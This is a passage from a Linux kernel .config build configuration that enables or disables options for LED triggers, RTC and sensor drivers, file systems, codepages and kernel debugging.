CONFIG_LEDS_REGULATOR=y CONFIG_LEDS_BD2802=y CONFIG_LEDS_LT3593=y CONFIG_LEDS_DELL_NETBOOKS=y # CONFIG_LEDS_MC13783 is not set CONFIG_LEDS_TCA6507=y # CONFIG_LEDS_TLC591XX is not set CONFIG_LEDS_MAX77693=y CONFIG_LEDS_MAX8997=y CONFIG_LEDS_LM355x=y CONFIG_LEDS_KTD2692=y # # LED driver for blink(1) USB RGB LED is under Special HID drivers (HID_THINGM) # # CONFIG_LEDS_BLINKM is not set # CONFIG_LEDS_SYSCON is not set # # LED Triggers # CONFIG_LEDS_TRIGGERS=y CONFIG_LEDS_TRIGGER_TIMER=y CONFIG_LEDS_TRIGGER_ONESHOT=y CONFIG_LEDS_TRIGGER_HEARTBEAT=y # CONFIG_LEDS_TRIGGER_BACKLIGHT is not set # CONFIG_LEDS_TRIGGER_CPU is not set # CONFIG_LEDS_TRIGGER_GPIO is not set CONFIG_LEDS_TRIGGER_DEFAULT_ON=y # # iptables trigger is under Netfilter config (LED target) # CONFIG_LEDS_TRIGGER_TRANSIENT=y CONFIG_LEDS_TRIGGER_CAMERA=y # CONFIG_ACCESSIBILITY is not set CONFIG_INFINIBAND=y CONFIG_INFINIBAND_USER_MAD=y # CONFIG_INFINIBAND_USER_ACCESS is not set CONFIG_INFINIBAND_ADDR_TRANS=y # CONFIG_INFINIBAND_MTHCA is not set # CONFIG_INFINIBAND_QIB is not set CONFIG_INFINIBAND_CXGB3=y # CONFIG_INFINIBAND_CXGB3_DEBUG is not set CONFIG_INFINIBAND_CXGB4=y # CONFIG_MLX4_INFINIBAND is not set CONFIG_INFINIBAND_NES=y # CONFIG_INFINIBAND_NES_DEBUG is not set CONFIG_INFINIBAND_OCRDMA=y CONFIG_INFINIBAND_IPOIB=y CONFIG_INFINIBAND_IPOIB_CM=y # CONFIG_INFINIBAND_IPOIB_DEBUG is not set # CONFIG_INFINIBAND_SRP is not set CONFIG_INFINIBAND_SRPT=y CONFIG_INFINIBAND_ISER=y CONFIG_INFINIBAND_ISERT=y CONFIG_EDAC_ATOMIC_SCRUB=y CONFIG_EDAC_SUPPORT=y # CONFIG_EDAC is not set CONFIG_RTC_LIB=y CONFIG_RTC_CLASS=y # CONFIG_RTC_HCTOSYS is not set CONFIG_RTC_SYSTOHC=y CONFIG_RTC_SYSTOHC_DEVICE="rtc0" # CONFIG_RTC_DEBUG is not set # # RTC interfaces # # CONFIG_RTC_INTF_SYSFS is not set # CONFIG_RTC_INTF_DEV is not set # CONFIG_RTC_DRV_TEST is not set # # I2C RTC drivers # CONFIG_RTC_DRV_88PM860X=y # CONFIG_RTC_DRV_ABB5ZES3 is not set # CONFIG_RTC_DRV_ABX80X is not set CONFIG_RTC_DRV_AS3722=y CONFIG_RTC_DRV_DS1307=y CONFIG_RTC_DRV_DS1374=y # CONFIG_RTC_DRV_DS1374_WDT is not set CONFIG_RTC_DRV_DS1672=y CONFIG_RTC_DRV_DS3232=y CONFIG_RTC_DRV_HYM8563=y # CONFIG_RTC_DRV_MAX6900 is not set CONFIG_RTC_DRV_MAX8997=y # CONFIG_RTC_DRV_RK808 is not set CONFIG_RTC_DRV_RS5C372=y CONFIG_RTC_DRV_ISL1208=y CONFIG_RTC_DRV_ISL12022=y CONFIG_RTC_DRV_ISL12057=y # CONFIG_RTC_DRV_X1205 is not set CONFIG_RTC_DRV_PCF2127=y CONFIG_RTC_DRV_PCF8523=y # CONFIG_RTC_DRV_PCF8563 is not set CONFIG_RTC_DRV_PCF85063=y # CONFIG_RTC_DRV_PCF8583 is not set CONFIG_RTC_DRV_M41T80=y CONFIG_RTC_DRV_M41T80_WDT=y # CONFIG_RTC_DRV_BQ32K is not set # CONFIG_RTC_DRV_TWL4030 is not set # CONFIG_RTC_DRV_TPS65910 is not set CONFIG_RTC_DRV_RC5T583=y CONFIG_RTC_DRV_S35390A=y # CONFIG_RTC_DRV_FM3130 is not set CONFIG_RTC_DRV_RX8581=y CONFIG_RTC_DRV_RX8025=y # CONFIG_RTC_DRV_EM3027 is not set CONFIG_RTC_DRV_RV3029C2=y # # SPI RTC drivers # # # Platform RTC drivers # CONFIG_RTC_DRV_CMOS=y CONFIG_RTC_DRV_DS1286=y # CONFIG_RTC_DRV_DS1511 is not set CONFIG_RTC_DRV_DS1553=y # CONFIG_RTC_DRV_DS1685_FAMILY is not set # CONFIG_RTC_DRV_DS1742 is not set # CONFIG_RTC_DRV_DS2404 is not set CONFIG_RTC_DRV_DA9052=y CONFIG_RTC_DRV_DA9055=y CONFIG_RTC_DRV_DA9063=y CONFIG_RTC_DRV_STK17TA8=y CONFIG_RTC_DRV_M48T86=y # CONFIG_RTC_DRV_M48T35 is not set CONFIG_RTC_DRV_M48T59=y CONFIG_RTC_DRV_MSM6242=y # CONFIG_RTC_DRV_BQ4802 is not set # CONFIG_RTC_DRV_RP5C01 is not set # CONFIG_RTC_DRV_V3020 is not set # CONFIG_RTC_DRV_PCF50633 is not set CONFIG_RTC_DRV_ZYNQMP=y # # on-CPU RTC drivers # # CONFIG_RTC_DRV_MC13XXX is not set CONFIG_RTC_DRV_SNVS=y # # HID Sensor RTC drivers # CONFIG_RTC_DRV_HID_SENSOR_TIME=y # CONFIG_DMADEVICES is not set # CONFIG_AUXDISPLAY is not set CONFIG_UIO=y CONFIG_UIO_CIF=y CONFIG_UIO_PDRV_GENIRQ=y CONFIG_UIO_DMEM_GENIRQ=y # CONFIG_UIO_AEC is not set CONFIG_UIO_SERCOS3=y # CONFIG_UIO_PCI_GENERIC is not set CONFIG_UIO_NETX=y CONFIG_UIO_PRUSS=y CONFIG_UIO_MF624=y CONFIG_IRQ_BYPASS_MANAGER=y # CONFIG_VIRT_DRIVERS is not set CONFIG_VIRTIO=y # # Virtio drivers # CONFIG_VIRTIO_PCI=y CONFIG_VIRTIO_PCI_LEGACY=y CONFIG_VIRTIO_BALLOON=y CONFIG_VIRTIO_INPUT=y # CONFIG_VIRTIO_MMIO is not set # # Microsoft Hyper-V guest support # # CONFIG_HYPERV is not set CONFIG_STAGING=y CONFIG_SLICOSS=y CONFIG_PRISM2_USB=y CONFIG_PANEL=y CONFIG_PANEL_PARPORT=0 CONFIG_PANEL_PROFILE=5 # CONFIG_PANEL_CHANGE_MESSAGE is not set # CONFIG_R8712U is not set CONFIG_R8188EU=y # CONFIG_88EU_AP_MODE is not set CONFIG_R8723AU=y # CONFIG_8723AU_AP_MODE is not set CONFIG_8723AU_BT_COEXIST=y CONFIG_RTS5208=y # # IIO staging drivers # # # Accelerometers # # # Analog to digital converters # CONFIG_AD7606=y CONFIG_AD7606_IFACE_PARALLEL=y # # Analog digital bi-direction converters # CONFIG_ADT7316=y # CONFIG_ADT7316_I2C is not set # # Capacitance to digital converters # CONFIG_AD7150=y # CONFIG_AD7152 is not set # CONFIG_AD7746 is not set # # Direct Digital Synthesis # # # Digital gyroscope sensors # # # Network Analyzer, Impedance Converters # CONFIG_AD5933=y # # Light sensors # CONFIG_SENSORS_ISL29018=y CONFIG_SENSORS_ISL29028=y # CONFIG_TSL2583 is not set CONFIG_TSL2x7x=y # # Magnetometer sensors # CONFIG_SENSORS_HMC5843=y CONFIG_SENSORS_HMC5843_I2C=y # # Active energy metering IC # # CONFIG_ADE7854 is not set # # Resolver to digital converters # # # Triggers - standalone # CONFIG_IIO_PERIODIC_RTC_TRIGGER=y # CONFIG_IIO_SIMPLE_DUMMY is not set CONFIG_FB_SM750=y CONFIG_FB_XGI=y CONFIG_FT1000=y CONFIG_FT1000_USB=y # # Speakup console speech # CONFIG_TOUCHSCREEN_SYNAPTICS_I2C_RMI4=y CONFIG_STAGING_MEDIA=y CONFIG_STAGING_RDMA=y CONFIG_INFINIBAND_AMSO1100=y CONFIG_INFINIBAND_AMSO1100_DEBUG=y # CONFIG_INFINIBAND_HFI1 is not set CONFIG_INFINIBAND_IPATH=y # # Android # CONFIG_STAGING_BOARD=y # CONFIG_WIMAX_GDM72XX is not set CONFIG_GS_FPGABOOT=y CONFIG_CRYPTO_SKEIN=y CONFIG_UNISYSSPAR=y CONFIG_UNISYS_VISORBUS=y CONFIG_UNISYS_VISORNIC=y CONFIG_UNISYS_VISORINPUT=y CONFIG_UNISYS_VISORHBA=y CONFIG_COMMON_CLK_XLNX_CLKWZRD=y CONFIG_WILC1000=y CONFIG_WILC1000_PREALLOCATE_AT_LOADING_DRIVER=y # CONFIG_WILC1000_DYNAMICALLY_ALLOCATE_MEMROY is not set CONFIG_WILC1000_SDIO=y CONFIG_WILC1000_HW_OOB_INTR=y # CONFIG_MOST is not set CONFIG_X86_PLATFORM_DEVICES=y CONFIG_ACERHDF=y # CONFIG_ALIENWARE_WMI is not set # CONFIG_ASUS_LAPTOP is not set CONFIG_DELL_WMI=y # CONFIG_DELL_WMI_AIO is not set CONFIG_DELL_SMO8800=y CONFIG_DELL_RBTN=y # CONFIG_FUJITSU_LAPTOP is not set CONFIG_FUJITSU_TABLET=y CONFIG_HP_WIRELESS=y CONFIG_HP_WMI=y CONFIG_PANASONIC_LAPTOP=y CONFIG_COMPAL_LAPTOP=y # CONFIG_SONY_LAPTOP is not set CONFIG_THINKPAD_ACPI=y # CONFIG_THINKPAD_ACPI_DEBUGFACILITIES is not set # CONFIG_THINKPAD_ACPI_DEBUG is not set # CONFIG_THINKPAD_ACPI_UNSAFE_LEDS is not set # CONFIG_THINKPAD_ACPI_VIDEO is not set CONFIG_THINKPAD_ACPI_HOTKEY_POLL=y # CONFIG_SENSORS_HDAPS is not set CONFIG_ACPI_WMI=y CONFIG_MSI_WMI=y CONFIG_TOPSTAR_LAPTOP=y # CONFIG_ACPI_TOSHIBA is not set # CONFIG_TOSHIBA_BT_RFKILL is not set CONFIG_TOSHIBA_HAPS=y CONFIG_TOSHIBA_WMI=y # CONFIG_ACPI_CMPC is not set CONFIG_INTEL_IPS=y CONFIG_IBM_RTL=y CONFIG_SAMSUNG_LAPTOP=y CONFIG_MXM_WMI=y # CONFIG_INTEL_OAKTRAIL is not set CONFIG_SAMSUNG_Q10=y CONFIG_APPLE_GMUX=y CONFIG_INTEL_RST=y CONFIG_INTEL_SMARTCONNECT=y CONFIG_PVPANIC=y # CONFIG_INTEL_PMC_IPC is not set CONFIG_SURFACE_PRO3_BUTTON=y CONFIG_CHROME_PLATFORMS=y CONFIG_CHROMEOS_PSTORE=y CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y # # Common Clock Framework # # CONFIG_COMMON_CLK_RK808 is not set CONFIG_COMMON_CLK_SI5351=y CONFIG_COMMON_CLK_SI514=y # CONFIG_COMMON_CLK_SI570 is not set CONFIG_COMMON_CLK_CDCE925=y # CONFIG_COMMON_CLK_PWM is not set # CONFIG_COMMON_CLK_PXA is not set # CONFIG_COMMON_CLK_CDCE706 is not set # # Hardware Spinlock drivers # # # Clock Source drivers # CONFIG_CLKEVT_I8253=y CONFIG_I8253_LOCK=y CONFIG_CLKBLD_I8253=y # CONFIG_ATMEL_PIT is not set # CONFIG_SH_TIMER_CMT is not set # CONFIG_SH_TIMER_MTU2 is not set # CONFIG_SH_TIMER_TMU is not set # CONFIG_EM_TIMER_STI is not set # CONFIG_MAILBOX is not set # CONFIG_IOMMU_SUPPORT is not set # # Remoteproc drivers # CONFIG_REMOTEPROC=y CONFIG_STE_MODEM_RPROC=y # # Rpmsg drivers # # # SOC (System On Chip) specific Drivers # # CONFIG_SUNXI_RSB is not set # CONFIG_SUNXI_SRAM is not set # CONFIG_SOC_TI is not set CONFIG_PM_DEVFREQ=y # # DEVFREQ Governors # CONFIG_DEVFREQ_GOV_SIMPLE_ONDEMAND=y # CONFIG_DEVFREQ_GOV_PERFORMANCE is not set CONFIG_DEVFREQ_GOV_POWERSAVE=y # CONFIG_DEVFREQ_GOV_USERSPACE is not set # # DEVFREQ Drivers # # CONFIG_PM_DEVFREQ_EVENT is not set CONFIG_EXTCON=y # # Extcon Device Drivers # CONFIG_EXTCON_ADC_JACK=y CONFIG_EXTCON_AXP288=y CONFIG_EXTCON_GPIO=y CONFIG_EXTCON_MAX77693=y CONFIG_EXTCON_MAX77843=y CONFIG_EXTCON_MAX8997=y CONFIG_EXTCON_RT8973A=y CONFIG_EXTCON_SM5502=y CONFIG_EXTCON_USB_GPIO=y # CONFIG_MEMORY is not set CONFIG_IIO=y CONFIG_IIO_BUFFER=y CONFIG_IIO_BUFFER_CB=y CONFIG_IIO_KFIFO_BUF=y CONFIG_IIO_TRIGGERED_BUFFER=y CONFIG_IIO_TRIGGER=y CONFIG_IIO_CONSUMERS_PER_TRIGGER=2 # # Accelerometers # CONFIG_BMA180=y CONFIG_BMC150_ACCEL=y # CONFIG_HID_SENSOR_ACCEL_3D is not set # CONFIG_IIO_ST_ACCEL_3AXIS is not set CONFIG_KXCJK1013=y # CONFIG_MMA8452 is not set CONFIG_MMA9551_CORE=y CONFIG_MMA9551=y CONFIG_MMA9553=y # CONFIG_MXC4005 is not set CONFIG_STK8312=y CONFIG_STK8BA50=y # # Analog to digital converters # # CONFIG_AD7291 is not set CONFIG_AD799X=y # CONFIG_AXP288_ADC is not set # CONFIG_CC10001_ADC is not set CONFIG_DA9150_GPADC=y CONFIG_MAX1363=y # CONFIG_MCP3422 is not set CONFIG_MEN_Z188_ADC=y # CONFIG_NAU7802 is not set CONFIG_TI_ADC081C=y CONFIG_TWL4030_MADC=y CONFIG_TWL6030_GPADC=y # CONFIG_VF610_ADC is not set # # Amplifiers # # # Chemical Sensors # CONFIG_VZ89X=y # # Hid Sensor IIO Common # CONFIG_HID_SENSOR_IIO_COMMON=y CONFIG_HID_SENSOR_IIO_TRIGGER=y # # SSP Sensor Common # CONFIG_IIO_ST_SENSORS_I2C=y CONFIG_IIO_ST_SENSORS_CORE=y # # Digital to analog converters # # CONFIG_AD5064 is not set CONFIG_AD5380=y # CONFIG_AD5446 is not set # CONFIG_M62332 is not set # CONFIG_MAX517 is not set CONFIG_MAX5821=y # CONFIG_MCP4725 is not set # # Frequency Synthesizers DDS/PLL # # # Clock Generator/Distribution # # # Phase-Locked Loop (PLL) frequency synthesizers # # # Digital gyroscope sensors # # CONFIG_BMG160 is not set # CONFIG_HID_SENSOR_GYRO_3D is not set CONFIG_IIO_ST_GYRO_3AXIS=y CONFIG_IIO_ST_GYRO_I2C_3AXIS=y CONFIG_ITG3200=y # # Humidity sensors # CONFIG_DHT11=y CONFIG_HDC100X=y CONFIG_SI7005=y # CONFIG_SI7020 is not set # # Inertial measurement units # # CONFIG_KMX61 is not set CONFIG_INV_MPU6050_IIO=y # # Light sensors # # CONFIG_ACPI_ALS is not set CONFIG_ADJD_S311=y CONFIG_AL3320A=y # CONFIG_APDS9300 is not set # CONFIG_APDS9960 is not set # CONFIG_BH1750 is not set CONFIG_CM32181=y CONFIG_CM3232=y CONFIG_CM3323=y # CONFIG_CM36651 is not set CONFIG_GP2AP020A00F=y CONFIG_ISL29125=y # CONFIG_HID_SENSOR_ALS is not set CONFIG_HID_SENSOR_PROX=y CONFIG_JSA1212=y # CONFIG_RPR0521 is not set CONFIG_SENSORS_LM3533=y CONFIG_LTR501=y CONFIG_OPT3001=y CONFIG_PA12203001=y CONFIG_STK3310=y CONFIG_TCS3414=y CONFIG_TCS3472=y CONFIG_SENSORS_TSL2563=y # CONFIG_TSL4531 is not set CONFIG_US5182D=y CONFIG_VCNL4000=y # # Magnetometer sensors # CONFIG_AK8975=y # CONFIG_AK09911 is not set # CONFIG_BMC150_MAGN is not set CONFIG_MAG3110=y CONFIG_HID_SENSOR_MAGNETOMETER_3D=y CONFIG_MMC35240=y CONFIG_IIO_ST_MAGN_3AXIS=y CONFIG_IIO_ST_MAGN_I2C_3AXIS=y # # Inclinometer sensors # CONFIG_HID_SENSOR_INCLINOMETER_3D=y CONFIG_HID_SENSOR_DEVICE_ROTATION=y # # Triggers - standalone # CONFIG_IIO_INTERRUPT_TRIGGER=y # CONFIG_IIO_SYSFS_TRIGGER is not set # # Pressure sensors # CONFIG_BMP280=y CONFIG_HID_SENSOR_PRESS=y # CONFIG_MPL115 is not set CONFIG_MPL3115=y CONFIG_MS5611=y # CONFIG_MS5611_I2C is not set CONFIG_IIO_ST_PRESS=y CONFIG_IIO_ST_PRESS_I2C=y # CONFIG_T5403 is not set # # Lightning sensors # # # Proximity sensors # # CONFIG_LIDAR_LITE_V2 is not set CONFIG_SX9500=y # # Temperature sensors # CONFIG_MLX90614=y CONFIG_TMP006=y # CONFIG_NTB is not set CONFIG_VME_BUS=y # # VME Bridge Drivers # # CONFIG_VME_CA91CX42 is not set # CONFIG_VME_TSI148 is not set # # VME Board Drivers # # CONFIG_VMIVME_7805 is not set # # VME Device Drivers # CONFIG_VME_USER=y CONFIG_VME_PIO2=y CONFIG_PWM=y CONFIG_PWM_SYSFS=y CONFIG_PWM_ATMEL_HLCDC_PWM=y CONFIG_PWM_FSL_FTM=y # CONFIG_PWM_LP3943 is not set # CONFIG_PWM_LPSS is not set CONFIG_PWM_PCA9685=y # CONFIG_PWM_TWL is not set CONFIG_PWM_TWL_LED=y CONFIG_IRQCHIP=y CONFIG_IPACK_BUS=y CONFIG_BOARD_TPCI200=y CONFIG_RESET_CONTROLLER=y CONFIG_FMC=y CONFIG_FMC_FAKEDEV=y CONFIG_FMC_TRIVIAL=y # CONFIG_FMC_WRITE_EEPROM is not set CONFIG_FMC_CHARDEV=y # # PHY Subsystem # CONFIG_GENERIC_PHY=y CONFIG_PHY_PXA_28NM_HSIC=y # CONFIG_PHY_PXA_28NM_USB2 is not set # CONFIG_BCM_KONA_USB2_PHY is not set CONFIG_PHY_SAMSUNG_USB2=y # CONFIG_PHY_EXYNOS4210_USB2 is not set # CONFIG_PHY_EXYNOS4X12_USB2 is not set # CONFIG_PHY_EXYNOS5250_USB2 is not set CONFIG_PHY_TUSB1210=y # CONFIG_POWERCAP is not set CONFIG_MCB=y CONFIG_MCB_PCI=y # # Performance monitor support # # CONFIG_RAS is not set CONFIG_THUNDERBOLT=y # # Android # # CONFIG_ANDROID is not set CONFIG_LIBNVDIMM=y CONFIG_BLK_DEV_PMEM=y CONFIG_ND_BLK=y CONFIG_ND_CLAIM=y CONFIG_ND_BTT=y CONFIG_BTT=y # CONFIG_NVMEM is not set CONFIG_STM=y CONFIG_STM_DUMMY=y CONFIG_STM_SOURCE_CONSOLE=y # CONFIG_INTEL_TH is not set # # FPGA Configuration Support # CONFIG_FPGA=y # # Firmware Drivers # CONFIG_EDD=y CONFIG_EDD_OFF=y CONFIG_FIRMWARE_MEMMAP=y # CONFIG_DELL_RBU is not set CONFIG_DCDBAS=y # CONFIG_ISCSI_IBFT_FIND is not set CONFIG_GOOGLE_FIRMWARE=y # # Google Firmware Drivers # # # EFI (Extensible Firmware Interface) Support # # CONFIG_EFI_VARS is not set CONFIG_EFI_ESRT=y CONFIG_EFI_RUNTIME_MAP=y # CONFIG_EFI_FAKE_MEMMAP is not set CONFIG_EFI_RUNTIME_WRAPPERS=y CONFIG_UEFI_CPER=y # # File systems # CONFIG_DCACHE_WORD_ACCESS=y CONFIG_EXT2_FS=y # CONFIG_EXT2_FS_XATTR is not set # CONFIG_EXT3_FS is not set CONFIG_EXT4_FS=y # CONFIG_EXT4_FS_POSIX_ACL is not set # CONFIG_EXT4_FS_SECURITY is not set CONFIG_EXT4_ENCRYPTION=y CONFIG_EXT4_FS_ENCRYPTION=y # CONFIG_EXT4_DEBUG is not set CONFIG_JBD2=y CONFIG_JBD2_DEBUG=y CONFIG_FS_MBCACHE=y # CONFIG_REISERFS_FS is not set CONFIG_JFS_FS=y CONFIG_JFS_POSIX_ACL=y # CONFIG_JFS_SECURITY is not set CONFIG_JFS_DEBUG=y # CONFIG_JFS_STATISTICS is not set CONFIG_XFS_FS=y # CONFIG_XFS_QUOTA is not set # CONFIG_XFS_POSIX_ACL is not set CONFIG_XFS_RT=y CONFIG_XFS_WARN=y # CONFIG_XFS_DEBUG is not set # CONFIG_GFS2_FS is not set CONFIG_OCFS2_FS=y CONFIG_OCFS2_FS_O2CB=y CONFIG_OCFS2_FS_STATS=y CONFIG_OCFS2_DEBUG_MASKLOG=y # CONFIG_OCFS2_DEBUG_FS is not set # CONFIG_BTRFS_FS is not set CONFIG_NILFS2_FS=y CONFIG_F2FS_FS=y CONFIG_F2FS_STAT_FS=y CONFIG_F2FS_FS_XATTR=y # CONFIG_F2FS_FS_POSIX_ACL is not set CONFIG_F2FS_FS_SECURITY=y # CONFIG_F2FS_CHECK_FS is not set CONFIG_F2FS_FS_ENCRYPTION=y # CONFIG_FS_DAX is not set CONFIG_FS_POSIX_ACL=y CONFIG_EXPORTFS=y # CONFIG_FILE_LOCKING is not set CONFIG_FSNOTIFY=y # CONFIG_DNOTIFY is not set CONFIG_INOTIFY_USER=y # CONFIG_FANOTIFY is not set CONFIG_QUOTA=y CONFIG_QUOTA_NETLINK_INTERFACE=y # CONFIG_PRINT_QUOTA_WARNING is not set # CONFIG_QUOTA_DEBUG is not set CONFIG_QUOTA_TREE=y CONFIG_QFMT_V1=y CONFIG_QFMT_V2=y CONFIG_QUOTACTL=y # CONFIG_AUTOFS4_FS is not set CONFIG_FUSE_FS=y CONFIG_CUSE=y CONFIG_OVERLAY_FS=y # # Caches # CONFIG_FSCACHE=y # CONFIG_FSCACHE_DEBUG is not set # CONFIG_CACHEFILES is not set # # CD-ROM/DVD Filesystems # # CONFIG_ISO9660_FS is not set # CONFIG_UDF_FS is not set # # DOS/FAT/NT Filesystems # CONFIG_FAT_FS=y CONFIG_MSDOS_FS=y CONFIG_VFAT_FS=y CONFIG_FAT_DEFAULT_CODEPAGE=437 CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" # CONFIG_NTFS_FS is not set # # Pseudo filesystems # # CONFIG_PROC_FS is not set CONFIG_PROC_CHILDREN=y CONFIG_KERNFS=y CONFIG_SYSFS=y CONFIG_TMPFS=y # CONFIG_TMPFS_POSIX_ACL is not set CONFIG_TMPFS_XATTR=y CONFIG_HUGETLBFS=y CONFIG_HUGETLB_PAGE=y CONFIG_CONFIGFS_FS=y # CONFIG_EFIVAR_FS is not set CONFIG_MISC_FILESYSTEMS=y CONFIG_ORANGEFS_FS=y # CONFIG_ADFS_FS is not set # CONFIG_AFFS_FS is not set CONFIG_ECRYPT_FS=y CONFIG_ECRYPT_FS_MESSAGING=y CONFIG_HFS_FS=y CONFIG_HFSPLUS_FS=y # CONFIG_HFSPLUS_FS_POSIX_ACL is not set # CONFIG_BEFS_FS is not set CONFIG_BFS_FS=y CONFIG_EFS_FS=y CONFIG_LOGFS=y CONFIG_CRAMFS=y CONFIG_SQUASHFS=y # CONFIG_SQUASHFS_FILE_CACHE is not set CONFIG_SQUASHFS_FILE_DIRECT=y CONFIG_SQUASHFS_DECOMP_SINGLE=y # CONFIG_SQUASHFS_DECOMP_MULTI is not set # CONFIG_SQUASHFS_DECOMP_MULTI_PERCPU is not set CONFIG_SQUASHFS_XATTR=y # CONFIG_SQUASHFS_ZLIB is not set # CONFIG_SQUASHFS_LZ4 is not set CONFIG_SQUASHFS_LZO=y CONFIG_SQUASHFS_XZ=y CONFIG_SQUASHFS_4K_DEVBLK_SIZE=y # CONFIG_SQUASHFS_EMBEDDED is not set CONFIG_SQUASHFS_FRAGMENT_CACHE_SIZE=3 CONFIG_VXFS_FS=y # CONFIG_MINIX_FS is not set # CONFIG_OMFS_FS is not set CONFIG_HPFS_FS=y # CONFIG_QNX4FS_FS is not set CONFIG_QNX6FS_FS=y # CONFIG_QNX6FS_DEBUG is not set CONFIG_ROMFS_FS=y CONFIG_ROMFS_BACKED_BY_BLOCK=y CONFIG_ROMFS_ON_BLOCK=y CONFIG_PSTORE=y # CONFIG_PSTORE_CONSOLE is not set # CONFIG_PSTORE_PMSG is not set # CONFIG_PSTORE_RAM is not set CONFIG_SYSV_FS=y CONFIG_UFS_FS=y CONFIG_UFS_FS_WRITE=y CONFIG_UFS_DEBUG=y # CONFIG_NETWORK_FILESYSTEMS is not set CONFIG_NLS=y CONFIG_NLS_DEFAULT="iso8859-1" CONFIG_NLS_CODEPAGE_437=y CONFIG_NLS_CODEPAGE_737=y # CONFIG_NLS_CODEPAGE_775 is not set CONFIG_NLS_CODEPAGE_850=y # CONFIG_NLS_CODEPAGE_852 is not set CONFIG_NLS_CODEPAGE_855=y # CONFIG_NLS_CODEPAGE_857 is not set CONFIG_NLS_CODEPAGE_860=y CONFIG_NLS_CODEPAGE_861=y CONFIG_NLS_CODEPAGE_862=y CONFIG_NLS_CODEPAGE_863=y CONFIG_NLS_CODEPAGE_864=y # CONFIG_NLS_CODEPAGE_865 is not set CONFIG_NLS_CODEPAGE_866=y CONFIG_NLS_CODEPAGE_869=y # CONFIG_NLS_CODEPAGE_936 is not set CONFIG_NLS_CODEPAGE_950=y CONFIG_NLS_CODEPAGE_932=y # CONFIG_NLS_CODEPAGE_949 is not set # CONFIG_NLS_CODEPAGE_874 is not set # CONFIG_NLS_ISO8859_8 is not set CONFIG_NLS_CODEPAGE_1250=y CONFIG_NLS_CODEPAGE_1251=y # CONFIG_NLS_ASCII is not set # CONFIG_NLS_ISO8859_1 is not set # CONFIG_NLS_ISO8859_2 is not set CONFIG_NLS_ISO8859_3=y # CONFIG_NLS_ISO8859_4 is not set CONFIG_NLS_ISO8859_5=y CONFIG_NLS_ISO8859_6=y CONFIG_NLS_ISO8859_7=y # CONFIG_NLS_ISO8859_9 is not set CONFIG_NLS_ISO8859_13=y CONFIG_NLS_ISO8859_14=y CONFIG_NLS_ISO8859_15=y CONFIG_NLS_KOI8_R=y CONFIG_NLS_KOI8_U=y CONFIG_NLS_MAC_ROMAN=y CONFIG_NLS_MAC_CELTIC=y CONFIG_NLS_MAC_CENTEURO=y CONFIG_NLS_MAC_CROATIAN=y CONFIG_NLS_MAC_CYRILLIC=y CONFIG_NLS_MAC_GAELIC=y CONFIG_NLS_MAC_GREEK=y CONFIG_NLS_MAC_ICELAND=y # CONFIG_NLS_MAC_INUIT is not set CONFIG_NLS_MAC_ROMANIAN=y CONFIG_NLS_MAC_TURKISH=y CONFIG_NLS_UTF8=y # CONFIG_DLM is not set # # Kernel hacking # CONFIG_TRACE_IRQFLAGS_SUPPORT=y # # printk and dmesg options # CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 # # Compile-time checks and compiler options # # CONFIG_DEBUG_INFO is not set # CONFIG_ENABLE_WARN_DEPRECATED is not set CONFIG_ENABLE_MUST_CHECK=y CONFIG_FRAME_WARN=2048 CONFIG_STRIP_ASM_SYMS=y CONFIG_READABLE_ASM=y CONFIG_UNUSED_SYMBOLS=y # CONFIG_PAGE_OWNER is not set CONFIG_DEBUG_FS=y # CONFIG_HEADERS_CHECK is not set # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_SECTION_MISMATCH_WARN_ONLY=y CONFIG_ARCH_WANT_FRAME_POINTERS=y CONFIG_FRAME_POINTER=y CONFIG_DEBUG_FORCE_WEAK_PER_CPU=y # CONFIG_MAGIC_SYSRQ is not set CONFIG_DEBUG_KERNEL=y # # Memory Debugging # CONFIG_PAGE_EXTENSION=y # CONFIG_DEBUG_PAGEALLOC is not set CONFIG_DEBUG_OBJECTS=y CONFIG_DEBUG_OBJECTS_SELFTEST=y CONFIG_DEBUG_OBJECTS_FREE=y CONFIG_DEBUG_OBJECTS_TIMERS=y # CONFIG_DEBUG_OBJECTS_WORK is not set CONFIG_DEBUG_OBJECTS_RCU_HEAD=y CONFIG_DEBUG_OBJECTS_PERCPU_COUNTER=y CONFIG_DEBUG_OBJECTS_ENABLE_DEFAULT=1 CONFIG_SLUB_DEBUG_ON=y # CONFIG_SLUB_STATS is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set CONFIG_DEBUG_VM=y CONFIG_DEBUG_VM_VMACACHE=y CONFIG_DEBUG_VM_RB=y # CONFIG_DEBUG_VM_PGFLAGS is not set # CONFIG_DEBUG_VIRTUAL is not set CONFIG_DEBUG_MEMORY_INIT=y # CONFIG_DEBUG_PER_CPU_MAPS is not set CONFIG_HAVE_DEBUG_STACKOVERFLOW=y CONFIG_DEBUG_STACKOVERFLOW=y CONFIG_HAVE_ARCH_KMEMCHECK=y # CONFIG_KMEMCHECK is not set CONFIG_HAVE_ARCH_KASAN=y # CONFIG_KASAN is not set # CONFIG_DEBUG_SHIRQ is not set # # Debug Lockups and Hangs # CONFIG_LOCKUP_DETECTOR=y CONFIG_HARDLOCKUP_DETECTOR=y CONFIG_BOOTPARAM_HARDLOCKUP_PANIC=y CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=1 # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 CONFIG_BOOTPARAM_HUNG_TASK_PANIC=y CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=1 CONFIG_PANIC_ON_OOPS=y CONFIG_PANIC_ON_OOPS_VALUE=1 CONFIG_PANIC_TIMEOUT=0 CONFIG_SCHED_INFO=y CONFIG_SCHED_STACK_END_CHECK=y CONFIG_DEBUG_TIMEKEEPING=y # # Lock Debugging (spinlocks, mutexes, etc...) # CONFIG_DEBUG_RT_MUTEXES=y CONFIG_DEBUG_SPINLOCK=y CONFIG_DEBUG_MUTEXES=y # CONFIG_DEBUG_WW_MUTEX_SLOWPATH is not set CONFIG_DEBUG_LOCK_ALLOC=y # CONFIG_PROVE_LOCKING is not set CONFIG_LOCKDEP=y # 